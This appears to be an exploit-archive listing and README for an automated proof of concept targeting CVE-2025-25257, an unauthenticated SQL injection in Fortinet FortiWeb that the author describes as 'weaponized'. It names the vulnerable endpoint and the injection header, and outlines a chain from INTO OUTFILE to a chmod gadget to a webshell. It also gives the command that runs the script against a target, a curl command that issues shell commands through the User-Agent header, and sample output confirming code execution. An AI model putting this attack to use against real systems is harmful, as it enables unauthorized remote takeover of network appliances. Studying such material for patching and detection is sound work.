CVE-2025-25257 PoC — Fortinet FortiWeb SQL注入漏洞

Source

Associated Vulnerability

Description

PoC for CVE-2025-25257, a critical unauthenticated SQL injection in FortiWeb. Exploits SQLi via the Authorization header to write a webshell and gain RCE. No login required. Fully automated.

Readme

<p align="center">
  <img src="sample.png" width="400" />
</p>

<h1 align="center">🚨 CVE-2025-25257 – FortiWeb SQLi to RCE</h1>
<p align="center"><b>Critical SQL Injection → Webshell Execution</b></p>
<p align="center"><code>Discovered and weaponized by 0xgh057r3c0n</code></p>

---

## 🧠 Vulnerability Overview

`CVE-2025-25257` affects FortiWeb systems exposing the endpoint `/api/fabric/device/status`, which fails to properly sanitize `Authorization` header input.

> An attacker can perform unauthenticated SQL injection to write a webshell on the server and execute commands remotely.

---

## 💥 Attack Flow

```text
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE
````

---

## 📍 Vulnerable Endpoint

```
GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>
```

---

## 🔓 Exploit Features

* SQLi via Bearer token
* SQL `INTO OUTFILE` to drop shell
* Python hook triggers chmod
* Commands executed via User-Agent
* Fully automated PoC

---

## 🧪 Usage

```bash
python3 CVE-2025-25257.py -t https://target-host.com
```

Then:

```bash
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi
```

---

## 🔧 Requirements

* Python 3.6+
* `requests` module

Install:

```bash
pip install requests
```

---

## 📤 Sample Output

```text
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header
```

---

## 📊 CVSS Estimate

| Metric              | Value          |
| ------------------- | -------------- |
| Base Score          | 9.8 (CRITICAL) |
| Attack Vector       | Network        |
| Privileges Required | None           |
| User Interaction    | None           |
| Impact              | High (C/I/A)   |

---

## 🛡️ Mitigation

* Update FortiWeb firmware (if patch available)
* Sanitize all header inputs
* Restrict file write paths and CGI execution

---

## 👨‍💻 Author

**0xgh057r3c0n**
🔗 [github.com/0xgh057r3c0n](https://github.com/0xgh057r3c0n)

---

## ⚠️ Disclaimer

This proof-of-concept is for **educational and authorized testing** only.
Use at your own risk. The author is not responsible for misuse.

---

File Snapshot

 [4.0K]  /data/pocs/f25e766bef8243e93edd68e0731783adffa19df0
├── [5.7K]  CVE-2025-25257.py
├── [1.1K]  LICENSE
├── [2.4K]  README.md
└── [119K]  sample.png

1 directory, 4 files

Remarks